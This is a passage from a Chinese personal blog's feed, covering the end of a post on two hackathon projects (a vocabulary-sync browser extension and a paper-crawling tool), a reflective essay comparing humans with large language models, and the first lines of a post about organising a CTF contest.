&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/11/4a01e48de86b9cec141a44c9afcdacc1.JPG&quot; alt=&quot;遇到了来练习的乐队&quot;&gt;&lt;/p&gt;
&lt;p&gt;巧的是，当天晚上还有乐队在这个小酒馆做练习，于是这场「茶话会」免费获得了一个不错的伴奏。&lt;/p&gt;
&lt;p&gt;茶话会氛围很不错，从某位 e 人呼吁着大家作了个简单的自我介绍后，话题就打开了。来参加的这场活动的朋友们四处交流着自己的 idea，描述着自己想构建的产品，充满着活力和创意，中间还有一位很厉害的高中生朋友分享了他之前参加 AdventureX2025 的经历。&lt;/p&gt;
&lt;p&gt;「Vibe Coding」时代来临后，黑客松不再是 Geek 的专属活动了。这里不仅有 Geek，更有许多没有技术背景的朋友：做小红书流量增长的大哥、自媒体博主……虽然有些 Idea 在技术视角下显得天马行空甚至难以落地，但在那一刻，我切实感受到了他们试图“创造”的热情。这和学校里为了学分被迫营业的小组作业，完全是两种维度的体验。（这里放这个类比是有点奇怪...）。&lt;/p&gt;
&lt;p&gt;和有意思人的交流是一件非常快乐的事，或者说，&lt;strong&gt;跟自己相似的人交流是一件很有意思的事情&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;我一直都认为，无论是什么艺术表达形式，阅读也好，游戏也罢，我们所喜欢的东西里，终究会存在自己的影子，我将其解释为每个人都会有轻微的 「npd」症状。所以我们都在不断地表达交流与寻求认可，本质上是在寻找那个被认可的自我。&lt;/p&gt;
&lt;p&gt;茶话会结束之后，我的微信好友数增加了不少，约等于过往几年内增加的好友总数。&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;项目：&lt;/h3&gt;
&lt;p&gt;正式比赛实际上持续了 14 个小时......虽然对于一场黑客松而言，它还是很短，但针对于它原来活动上标注的时间安排来说，还是远远超出了既定时长。&lt;/p&gt;
&lt;p&gt;由于我自己本身没有什么好的 idea，所以最后找到了 &lt;a href=&quot;https://blogs.timerring.com/&quot;&gt;timerring&lt;/a&gt; 组队，抛弃了子一学长，让他一人 solo🤪。&lt;/p&gt;
&lt;p&gt;做的 idea 叫做 「WordSync」。一款Chrome浏览器插件，用于选择、翻译、OCR和同步英语单词。&lt;/p&gt;
&lt;p&gt;其实最主要的是同步单词词书，因为我们都是不背单词的用户，而不背单词本身有一个自建词书的功能，但自建词书这个功能很鸡肋，毕竟很少会有人会将平时遇到的生词（比如论文阅读中的）记下来，然后再导入，这个流程显得太过繁琐。&lt;/p&gt;
&lt;p&gt;所以我们逆向了不背单词对应的词书接口，使得可以直接在浏览器里划词后传递到不背单词的词书上面，从而可以更便捷地管理规划自己的词书了。&lt;/p&gt;
&lt;p&gt;虽然最后没有拿到什么奖项，但第一次参加黑客松的体验本身就很有趣。反倒是子一学长一人 solo 的 「死了么」拿到了最佳创意奖😂。这也进而引申出了最近在开发的支付宝小程序，但这就是后话了，也许会在下一篇 Memos 里提一提。&lt;/p&gt;
&lt;p&gt;原本计划基于 Rust 重构一个 WordSync 的全局呼出版本，但最近被面试和琐事挤占了太多精力，只能一推再推，大概率要排期到明年了。&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;HFT：&lt;/h3&gt;
&lt;p&gt;在会场的时候还遇到了另外的来自 HNU 的同学，然而他们跟信科院没什么关系，反而是北校的金融学院，来自 &lt;a href=&quot;https://github.com/HFT-Hunan-Uniiversity&quot;&gt;HFT&lt;/a&gt; (湖南大学金融科技协会)。&lt;/p&gt;
&lt;p&gt;他们让我意识到了原来 HNU 还是有活着的社团的（毕竟我在上次 Memos 中才吐槽 HNU 的社团都快死掉了...）。&lt;/p&gt;
&lt;p&gt;正是这次偶遇，让我与 HFT 建立了联系，也促成了 11 月受邀参加他们与豆包、Datawhale 联合举办的线下活动。缘分还挺奇妙。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;渝客松：&lt;/h2&gt;
&lt;p&gt;参加渝客松的契机来源于潇湘黑客松中的一位选手，他恰好作为主理人组织了渝客松，就同时邀请了参加过潇湘黑客松的选手。&lt;/p&gt;
&lt;p&gt;由于学校生活实在太过无聊，面试背八股面经也感到疲惫，想到可以去重庆透透气，又恰好可以翘掉我最讨厌的信息安全数学基础，所以我拉了另外一位朋友一起去参加了这场渝客松。&lt;/p&gt;
&lt;p&gt;场地设置在了重庆的明月湖科创基地。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/12/ad74b3cd42d7c0261a3ab0ef96ee6e30.JPG&quot; alt=&quot;比赛场地&quot;&gt;&lt;/p&gt;
&lt;p&gt;虽然地图上标的是科创基地，但估计本地人都把它当做公园，比赛的周末两天里，科创基地中充满了野餐游玩的路人。&lt;/p&gt;
&lt;p&gt;风景很不错，对比在高楼大厦中进行开发，显得很舒适惬意，可以称得上理想的办公环境了。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/12/a3cb6b64aa424e4fcb5ab94d0b5e71f5.jpg&quot; alt=&quot;四处乱逛的 cry&quot;&gt;&lt;/p&gt;
&lt;p&gt;唯一的缺点大概就是太郊区了...想点个外卖都找不到能吃的东西。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/12/0dea1b575957a6309d7cfdf1745f1372.jpg&quot; alt=&quot;早晨的薄雾&quot;&gt;&lt;/p&gt;
&lt;h3&gt;项目：&lt;/h3&gt;
&lt;p&gt;这一次我主导了一个项目，叫做「PaperHunter」。一个多平台的学术论文爬取和语义搜索工具，支持arXiv、OpenReview等主流学术平台，能快速导出 10000 篇左右的论文到飞书多维表格中做分析（垃圾  ai 方向的论文，光 agent 这个关键词今年就 1w 多篇），还能和Zotero同步。&lt;/p&gt;
&lt;p&gt;这个项目的灵感来自于最近和 HFT 一位学长合作写一篇有关 trading agent 的综述。然而如果直接用搜索引擎查找相关领域论文，往往索引并不全面，而直接使用类似于 gemini 的 deep reaserch，又受限于上下文的长度原因，无法获取到大量相关领域的论文，所以我基于几个平台的 html 结构，以及提供的 rss 或者 api 做了一点组合。&lt;/p&gt;
&lt;p&gt;由于本身我是将论文的 title 和 abstract 结合起来做的 embedding（毕竟一篇论文如果标题和摘要都没有提到它的方法论的话，那它也确实该被毙掉了，更何况是 💩 最多的 ai 领域）。&lt;/p&gt;
&lt;p&gt;除此之外，由于受到了另外一个叫做 &lt;a href=&quot;https://github.com/TideDra/zotero-arxiv-daily&quot;&gt;zotero-arxiv-daily&lt;/a&gt; 的启发，我也做了一个 Daily Recommendations，这部分除了会基于 zotero 中已有的论文推荐外，我还做了一点新的处理，结合了 hyde 的 rag 技术，可以将本地的检索准确率提高很多。&lt;/p&gt;
&lt;p&gt;而本身的 daily-recommendtions 的论文搜集就很简单了，arxiv 有个 submission 页，页面结构几百年没变过，随便分析一下就可以得到需要提取的 dom 节点位置。&lt;/p&gt;
&lt;p&gt;总而言之，PaperHunter 就是一个几天内拼凑起来的项目，目前还有些小 bug，但我觉得我拼的还不错。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/image-20251129222357850.png&quot; alt=&quot;PaperHunter 的雏形&quot;&gt;&lt;/p&gt;
&lt;p&gt;ui 凑合看一看，主打能用就行。&lt;/p&gt;
&lt;p&gt;你可以在&lt;a href=&quot;https://www.douyin.com/video/7578161371604089792&quot;&gt;这里&lt;/a&gt;听到我关于这个项目的简要介绍。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;由于是抖音赞助，所以不得不上传这部分视频，但我并没有抖音账号，所以用的是队友的小号上传的，介绍自己的产品反而颇有一种羞耻感，所以我全程在棒读🥺&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h3&gt;路演：&lt;/h3&gt;
&lt;p&gt;我是第一次参加路演。上一次在潇湘黑客松的路演是我的队友上去宣讲的，这一次的项目本身是我主导，自然就成了我上去做路演。&lt;/p&gt;
&lt;p&gt;但是因为我们提交的时间最早，而主办方又没有提前告知路演按照提交顺序，所以我就不明不白的第一个上去做了路演😵‍💫。&lt;/p&gt;
&lt;p&gt;对比之后讲的人来说，我觉得我讲的极为糟糕。没有事先组织好语言和 ppt，只能顺着项目开发的思路来讲，从而引入了很多技术性的名词，这显然是路演的大忌。&lt;/p&gt;
&lt;p&gt;但想到这也是我的第一次路演，我还是很快的原谅了自己，希望下次有机会能够讲的好一些吧。&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;奖品：&lt;/h3&gt;
&lt;p&gt;最后我估计是因为我们赛道部分人数太少，也给我混了个「最佳技术奖」。&lt;/p&gt;
&lt;p&gt;以及运气不错，赛后的抽奖环节，还抽到了唯一的三等奖毛毯（从概率上来讲，我比有 5 份的一等奖概率小多了，我才是一等奖😡）&lt;/p&gt;
&lt;p&gt;不过这个奖状显得略微草台，发下来的时候队伍和名字也没写，maybe 是时间太紧张了，反正有奖金就行(&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/12/7c797332316a2add09fd5a26846aaeee.JPG&quot; alt=&quot;💰 +2k&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;为什么要参加「黑客松」？&lt;/h2&gt;
&lt;p&gt;经历这两次活动，我开始重新审视自己究竟在追寻什么。&lt;/p&gt;
&lt;p&gt;现在的我逐渐确信，我喜欢的并不是 Hackathon 这个比赛形式，而是活跃在其中的「&lt;strong&gt;具体的人&lt;/strong&gt;」。&lt;/p&gt;
&lt;p&gt;上次潇湘黑客松就认识了不少有意思的人。比如 timerring，至今都在四处游走参加各种比赛，上个月才拿了 eth 上海场的奖金。这次渝客松也不例外，认识了 &lt;a href=&quot;https://fccccloud.com&quot;&gt;faye&lt;/a&gt; 姐，一个非科班出生的 ui/ux 设计师，目前在运营某个 web3 社区。&lt;/p&gt;
&lt;p&gt;相较于千篇一律、按部就班的学校生活，认识这些人给我带来了一些不一样的体验，他/她们让我知道原来还可以有这样的生活体验，让我看到了人生的另一种可能：原来大家真的可以为了自己热爱的、哪怕看似无用的东西，去通宵达旦地创造。&lt;/p&gt;
&lt;p&gt;在这个日益功利的时代，竟然还有这样一群充满理想主义的人，这本身就是一种巨大的精神慰藉。&lt;/p&gt;
&lt;p&gt;引用 SkyWT 在参加第一次 AdventureX 2024 的一段话：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;而在这次比赛里我感受到的却是一种截然相反的风气：大家都充满激情和热爱，有着各种想法以及将它们变为现实的驱动力。将这样一群年轻人聚在一起，就将这种热情无限地聚集和放大，迸发出属于青年和青春的力量。这一切反而与时代的风气格格不入。&lt;strong&gt;这是对时代风气的反叛，也是对「嬉皮士精神」最好的诠释。&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;他们发明。&lt;/p&gt;
&lt;p&gt;他们想象。&lt;/p&gt;
&lt;p&gt;他们治愈。&lt;/p&gt;
&lt;p&gt;他们探索。&lt;/p&gt;
&lt;p&gt;他们创造。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;每个人都有属于自己的 AdventureX 2024。&lt;/p&gt;
&lt;p&gt;期待下一次参与有趣黑客松的机会，也希望借此认识更多有意思的人。&lt;/p&gt;</content:encoded><category>week</category></item><item><title>人与大模型</title><link>https://cry4o4n0tfound.cn/blog/%E4%BA%BA%E4%B8%8E%E5%A4%A7%E6%A8%A1%E5%9E%8B/</link><guid isPermaLink="true">https://cry4o4n0tfound.cn/blog/%E4%BA%BA%E4%B8%8E%E5%A4%A7%E6%A8%A1%E5%9E%8B/</guid><pubDate>Sun, 26 Oct 2025 12:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;简介：&lt;/h2&gt;
&lt;p&gt;在学习 agent 开发的时候，看到 llm 各种行为和我还挺像，我开始想象，我是否也是个不那么聪明的 llm 呢？&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/10/a0643d284f883539f33cfa0cffc8f502.png&quot; alt=&quot;？&quot;&gt;&lt;/p&gt;
&lt;p&gt;于是就有了这篇随心所欲想到一个特性就来补充一个特性的随想录。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;幻觉&lt;/h2&gt;
&lt;p&gt;经常使用 llm 一定会遇到大模型出现幻觉。&lt;/p&gt;
&lt;p&gt;所谓幻觉，是模型一本正经地在那儿瞎编，编一个不存在的网站，或者在写代码的时候给你写一段根本不存在的 api（深受其害😩）。&lt;/p&gt;
&lt;p&gt;幻觉其实有过一定机器学习知识的人应该都不难理解，llm 的输出只是不断的编码解码，通过对上下文的概率预测来生成下一个最可能出现的词汇，它其实并不具备&quot;事实检索&quot;或&quot;逻辑验证&quot;的能力（虽然现在大家使用的都带上了各种工具可以检索，但当检索也检索不到的时候，幻觉依然会发生）。当训练数据中缺乏某种知识，或者用户的问题超出了语料的分布范围时，模型就会&quot;自信地胡说&quot;，生成看似合理但实际上虚构的内容。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/10/a4f189238163e3fd63b59766c8d8751d.jpg&quot; alt=&quot;Transformer&quot;&gt;&lt;/p&gt;
&lt;p&gt;其实人也有「幻觉」。&lt;/p&gt;
&lt;p&gt;比如曼德拉效应&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot; id=&quot;user-content-fnref-1&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;和既（即）视感&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot; id=&quot;user-content-fnref-2&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;。两者我都经历过，甚至既视感最近也会出现。这其实和 llm 的幻觉很像，都是「我以为我知道这个东西」，当然，实际上根本不知道以及根本没来过这地方，只是关联到了某个可能很相近的部分。&lt;/p&gt;
&lt;p&gt;人的幻觉更多是一种情感上的补全，我经常（我相信大家也经常）因为看到某些东西或某些事情而触景生情，我们都在用幻觉来维系一种「连续性」，于是就有了“我好像经历过这件事的”的既视感，也有了某个人还在的错觉，幻觉就是在维持这种联系。&lt;/p&gt;
&lt;p&gt;llm 用这种联系来维持自己的文字接龙游戏。而我们用这种联系来维持事物与情感的关联。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;偏见&lt;/h2&gt;
&lt;p&gt;大模型时代有许多偏见。包括且不仅限于：有过多 emoji 是 ai 😂，动不动就喜欢用破折号的——是 ai，代码里喜欢写一堆注释的（比如这样 &lt;code&gt;// 这是一个注释&lt;/code&gt;）还是 ai...&lt;/p&gt;
&lt;p&gt;看到这里，你应该怀疑我是不是 ai 🤨。&lt;/p&gt;
&lt;p&gt;是的，我要告诉你，我就是 ai——因为我中了这些&quot;偏见&quot;里几乎所有的一条，就连现在我都还在使用大模型最喜欢的破折号。基于刻板印象，或者说基于合情合理地推断，应该可以把我视作一个 ai，那么接下来你可以把所有的东西都当成是 ai 写的，看看我们能不能把偏见推的更高一些。&lt;/p&gt;
&lt;p&gt;如果照着这种逻辑推下去，凡是符合某些特征的文字都能被标记成 ai，那是不是说明：我们对 ai 的偏见，其实是对&quot;形式&quot;的偏见？&lt;/p&gt;
&lt;p&gt;就像上面所论述的，我们对大模型产出的内容偏见很深，而大模型也继承了人类的&quot;优良&quot;偏见，并将其发扬光大，嗯，应该是正在进行中。&lt;/p&gt;
&lt;p&gt;我这个月在读 Trading agent &lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot; id=&quot;user-content-fnref-3&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot;&gt;3&lt;/a&gt;&lt;/sup&gt; 论文的时候就见识过大模型的偏见了：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/f23bb18b-d2bd-4480-a58b-12c60a2962ae.png&quot; alt=&quot;大模型也有歧视&quot;&gt;&lt;/p&gt;
&lt;p&gt;金融交易尚且如此，别的地方估计也好不到哪儿去...&lt;/p&gt;
&lt;p&gt;而我们又用含着类似偏见的数据去训练大模型，让它又更具有偏见，照这样迭代下去，未来的刻板印象应该是指数级增长的：人类带着偏见训练 → 大模型带着偏见回馈人类 → 人类偏见加深 → 大模型偏见翻倍。&lt;/p&gt;
&lt;p&gt;即使对训练数据集做一些清洗处理，但那也仅仅只是&quot;一些清洗处理而已&quot;，就拿世界上黑话最多的中文互联网环境来谈，真的能保证清洗完这些语料吗？&lt;/p&gt;
&lt;p&gt;我持悲观态度。这里最后放一段我在看完《杀死一只知更鸟》的短评：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;人的偏见是一座大山。压在每一个人的身上，即使在读完这本书后我也不敢声称自己抛弃了偏见与以往的刻板印象。&lt;/p&gt;
&lt;p&gt;最初阅读二战史，为希特勒犯下的滔天罪行感到痛恨，对纳粹抱有偏见；但时至今日，看到巴以冲突那惨无人道的战场，我又开始犹豫，对犹太人的看法更多发生了转移。&lt;/p&gt;
&lt;p&gt;其实谈不抱任何偏见我始终认为是不现实的，阿迪克斯一般的人我至今仍未见过，或许之后也不会认识，我更愿意认可的是，成长是一种思考的转移，傲慢根植于我们的内心，偏见自然长存，但存在偏见的同时，更重要的是心中的那份善良，如同斯库特和杰姆，同样也对于&quot;怪人&quot;拉德利，即使我们摆脱不了那份偏见，但善良依旧会保护我们，保护我们周围的知更鸟。&lt;/p&gt;
&lt;p&gt;这才是这本书给我带来的思考。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;大模型就像人类的镜子。虽然我很讨厌 Anthropic 这家公司的某些行为，但我还是认为他们在对于模型安全这部分做的努力是对的。&lt;/p&gt;
&lt;p&gt;毕竟，如果真的像我上面所说的，大模型的偏见毫无克制的指数型增长的话，那这个世界就真的是坏透了。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;过长的记忆是累赘&lt;/h2&gt;
&lt;p&gt;在做 agent 开发的过程中我还体会到了大模型另外一些有意思的特性。&lt;/p&gt;
&lt;p&gt;agent 的上下文管理是非常重要的，因为需要汇聚 user Message 、 assistant Message 和 tool Message 这三种信息。&lt;/p&gt;
&lt;p&gt;如果上下文长度过长，由于 transformer 本身也是个 O(n^2) 的架构，算力不够的情况下，模型就会开始胡言乱语。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/10/image-20251026161910624.png&quot; alt=&quot;cursor 中的 mcp&quot;&gt;&lt;/p&gt;
&lt;p&gt;而设计不好的 mcp 就会踩到 tool message 这个雷点。之前的 github mcp 的 tool 高达 90 个， cusor 上会跳出对应的提示：太多的工具会让模型不知道用什么。&lt;/p&gt;
&lt;p&gt;因为每个工具是需要绑定在模型的 tool Message 中的，太多的 tool 就会引起上下文的急剧膨胀，从而导致错误的使用。&lt;/p&gt;
&lt;p&gt;事实也如此，当我把这些 mcp 全部打开，使用 github mcp 时它就会经常搜索半天不知道自己该用什么（现在模型上下文变强和 tool call 能力变强后这种现象有所下降）。&lt;/p&gt;
&lt;p&gt;这也和人类似，我们所学的应该是一种抽象化的方法，而不是将完整的解题工具流程放在脑子之中。&lt;/p&gt;
&lt;p&gt;高中时期经常听到物理老师让大家实在不会做就去背几道题，然而只背题的同学依旧做不出来题，大概也是这个道理。&lt;/p&gt;
&lt;p&gt;当你记不住细节时，大脑被迫提取精炼的抽象方法，看到整体后再去想具体的事件，这应该是一个很好的实践。&lt;/p&gt;
&lt;p&gt;Anthropic  最近提出的 Claude Skill &lt;sup&gt;&lt;a href=&quot;#user-content-fn-4&quot; id=&quot;user-content-fnref-4&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;我觉得就是一个不错的例子。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;播客中所听到的&lt;/h2&gt;
&lt;p&gt;听了 Andrej Karpathy &lt;sup&gt;&lt;a href=&quot;#user-content-fn-5&quot; id=&quot;user-content-fnref-5&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot;&gt;5&lt;/a&gt;&lt;/sup&gt; 的播客（实际上是看了翻译过来的对话，真要我听全程英文播客还是太难为我了🥲），里面有很多很有意思的观点。&lt;/p&gt;
&lt;p&gt;我印象最深的是：人类读书和学习是在做什么？&lt;/p&gt;
&lt;p&gt;他的回答大概的意思是（至少由我和 llm 共同解读的意思是）：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;我们读的书其实是 prompts，让我们合成数据生成用的&quot;。&lt;/p&gt;
&lt;p&gt;每一本书、每一次学习，都在我们脑中添加一条新的连接，让世界在我们心里变得更连贯一点。而这正是目前大模型所缺乏的——它读了无数文字，却从未&quot;活在世界中&quot;，没有真正体验、没有情绪背景、也不会因为某个片段而&quot;顿悟&quot;。&lt;/p&gt;
&lt;p&gt;人类学习是一种持续学习，是通过生活本身的流动来更新权重。人从不在某个时刻&quot;训练完毕&quot;，我们一直在微调自己：被一句话触动、被一次失败改变、被一段关系调整。而大模型的记忆，却是静态的——它无法在&quot;交互&quot;中成长。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这让我想到一个小小的比喻：
人类学习像是漫长的手写笔记，边写边擦；
而大模型的学习更像是烧录固件，一旦完成训练，想更新就得重新编译再烧一次。&lt;/p&gt;
&lt;p&gt;除此之外，他还有一个让我印象深刻的类比。&lt;/p&gt;
&lt;p&gt;他把人类与大模型的学习方式，分成了三种状态：儿童、成人、以及 LLM。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;儿童——记忆最差，但创造力最强。因为他们还没有被“过拟合”到社会的规则里。&lt;/p&gt;
&lt;p&gt;成人——记忆中等，创造力中等。我们的世界观和习惯已经收敛，脑中的“参数空间”坍塌成一套稳定模式。&lt;/p&gt;
&lt;p&gt;而 LLM——记忆几乎完美，却是创造力最低的。它背负着庞大的训练语料，被语言统计规律牢牢束缚，无法偏离平均值哪怕一步。&lt;/p&gt;
&lt;p&gt;Karpathy 在节目里提到 Erik Hoel 的一个有趣研究：梦境，可能是人类防止&quot;过拟合&quot;的机制。连做梦，都是我们为自己引入噪声的方式。通过梦的随机性，我们打破思维的惯性，维持创造力的活性。&lt;/p&gt;
&lt;p&gt;这也解释了为什么当前的大模型在&quot;合成数据训练&quot;上常常失效。如果你让 GPT 对同一本书思考十遍，它会给出几乎一模一样的回答——就像陷入&quot;静默坍塌&quot;一样。它的输出分布极窄，Karpathy 开玩笑说：&quot;它实际上只有三个笑话。&quot;在这种低熵的数据上继续训练，只会让模型的偏见更强、想象力更弱。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;但想想人类，其实也一样。我们从童年到成年：语言变得精确，想法变得可预测，学习率下降，创造力递减。&lt;/p&gt;
&lt;p&gt;我可以非常清楚的在我的身上体会到。&lt;/p&gt;
&lt;p&gt;我现在的确很难想象一些东西了。除此之外我也一直都不喜欢看原著改编的电视剧/动漫，它会消除我之前读这本书时的所有想象。&lt;/p&gt;
&lt;p&gt;在看哈利.波特的电影前，我将原著林林总总少说也看过 3、4 遍，我的心中早就有了一个「想象中的哈利」，所以当我看到电影与我想象并不一样时，确实会很失望。&lt;/p&gt;
&lt;p&gt;所以我这里还挺想提出一个暴论的：视觉上的过度输入反而会扼杀想象力。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;我是否也是个不那么聪明的 llm？&lt;/h2&gt;
&lt;p&gt;回到最初我提出的问题——我是否也是个不太聪明的 llm 呢？也许是，也许不是，这种问题向来给不出什么确定的答案，我也仅仅只是将这个讨论当作一次娱乐，作为随想。&lt;/p&gt;
&lt;p&gt;人类在某种意义上确实像 llm：我们通过输入（阅读、听闻）形成输出（表达、写作），我们有参数（性格、经验），也有随机性、温度（情绪、状态），甚至也会出现幻觉（记忆错误）与偏见（刻板印象）。&lt;/p&gt;
&lt;p&gt;但如果狂妄一点的话，我觉得我不是个「不那么聪明的 llm」，我比它强，至少我的「遗忘」比它更为智能，不用时时刻刻受到记忆本身的困扰。&lt;/p&gt;
&lt;p&gt;llm 什么都记得，但其实什么都不理解，用李宏毅老师在他的课&lt;sup&gt;&lt;a href=&quot;#user-content-fn-6&quot; id=&quot;user-content-fnref-6&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot;&gt;6&lt;/a&gt;&lt;/sup&gt;上一直强调的一句话来讲：llm 永远只是在做文字接龙；而我什么都记不清晰，所以可以让我重学好几遍 rust 😂，这就是身为碳基生物独有的体验了。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;基本上每个部分都提出了暴论，大概就是我在 「🤔」，如果是真的大模型看这篇文章的话，应该是 「？🤖 👉 🤣」&lt;/p&gt;
&lt;h2&gt;&lt;/h2&gt;
&lt;section data-footnotes class=&quot;footnotes&quot;&gt;&lt;h2 class=&quot;sr-only&quot; id=&quot;footnote-label&quot;&gt;Footnotes&lt;/h2&gt;
&lt;ol&gt;
&lt;li id=&quot;user-content-fn-1&quot;&gt;
&lt;p&gt;&lt;a href=&quot;https://zh.wikipedia.org/wiki/%E6%9B%BC%E5%BE%B7%E6%8B%89%E6%95%88%E5%BA%94&quot;&gt;https://zh.wikipedia.org/wiki/%E6%9B%BC%E5%BE%B7%E6%8B%89%E6%95%88%E5%BA%94&lt;/a&gt; - 曼德拉效应 &lt;a href=&quot;#user-content-fnref-1&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 1&quot; class=&quot;data-footnote-backref&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-2&quot;&gt;
&lt;p&gt;&lt;a href=&quot;https://zh.wikipedia.org/wiki/%E6%97%A2%E8%A6%96%E6%84%9F&quot;&gt;https://zh.wikipedia.org/wiki/%E6%97%A2%E8%A6%96%E6%84%9F&lt;/a&gt; - 既视感 &lt;a href=&quot;#user-content-fnref-2&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 2&quot; class=&quot;data-footnote-backref&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-3&quot;&gt;
&lt;p&gt; &lt;a href=&quot;https://arxiv.org/html/2507.22758&quot;&gt;https://arxiv.org/html/2507.22758&lt;/a&gt;  - Trading agent 论文 &lt;a href=&quot;#user-content-fnref-3&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 3&quot; class=&quot;data-footnote-backref&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-4&quot;&gt;
&lt;p&gt;&lt;a href=&quot;https://www.anthropic.com/engineering/equipping-agents-for-the-real-world-with-agent-skills&quot;&gt;https://www.anthropic.com/engineering/equipping-agents-for-the-real-world-with-agent-skills&lt;/a&gt; - Claude  Skill &lt;a href=&quot;#user-content-fnref-4&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 4&quot; class=&quot;data-footnote-backref&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-5&quot;&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=lXZvyajciY&quot;&gt;https://www.youtube.com/watch?v=lXZvyajciY&lt;/a&gt; - Andrej Karpathy 播客 &lt;a href=&quot;#user-content-fnref-5&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 5&quot; class=&quot;data-footnote-backref&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-6&quot;&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=8iFvM7WUUs8&amp;#x26;t=6110s&quot;&gt;https://www.youtube.com/watch?v=8iFvM7WUUs8&amp;#x26;t=6110s&lt;/a&gt; - 李宏毅老师的课 &lt;a href=&quot;#user-content-fnref-6&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 6&quot; class=&quot;data-footnote-backref&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded><category>随想录</category></item><item><title>Memos 14:-无主题杂记</title><link>https://cry4o4n0tfound.cn/blog/memos-14-%E6%97%A0%E4%B8%BB%E9%A2%98%E6%9D%82%E8%AE%B0/</link><guid isPermaLink="true">https://cry4o4n0tfound.cn/blog/memos-14-%E6%97%A0%E4%B8%BB%E9%A2%98%E6%9D%82%E8%AE%B0/</guid><pubDate>Fri, 26 Sep 2025 20:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;简介：&lt;/h2&gt;
&lt;p&gt;这个月做了很多事情，很多事都有点感想，让我把它们拼凑一下～。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/09/3c12b87107f630577489e6ea4cf9c74f.jpg&quot; alt=&quot;后湖晚霞&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;办了一场 ctf 新生赛：&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;承接去年：&lt;a href=&quot;https://l1uyun.one/posts/%E5%8A%9E%E4%BA%86%E4%B8%80%E5%9C%BActf%E6%A0%A1%E8%B5%9B/&quot;&gt;办了一场 ctf 校赛&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;前言&lt;/h3&gt;
&lt;p&gt;最近办了一场学校的 ctf 新生赛，这也许是我最后一次接触 ctf，目前比赛算是结束了，复盘一下比赛，复盘一下我自己。&lt;/p&gt;
&lt;h3&gt;起因&lt;/h3&gt;
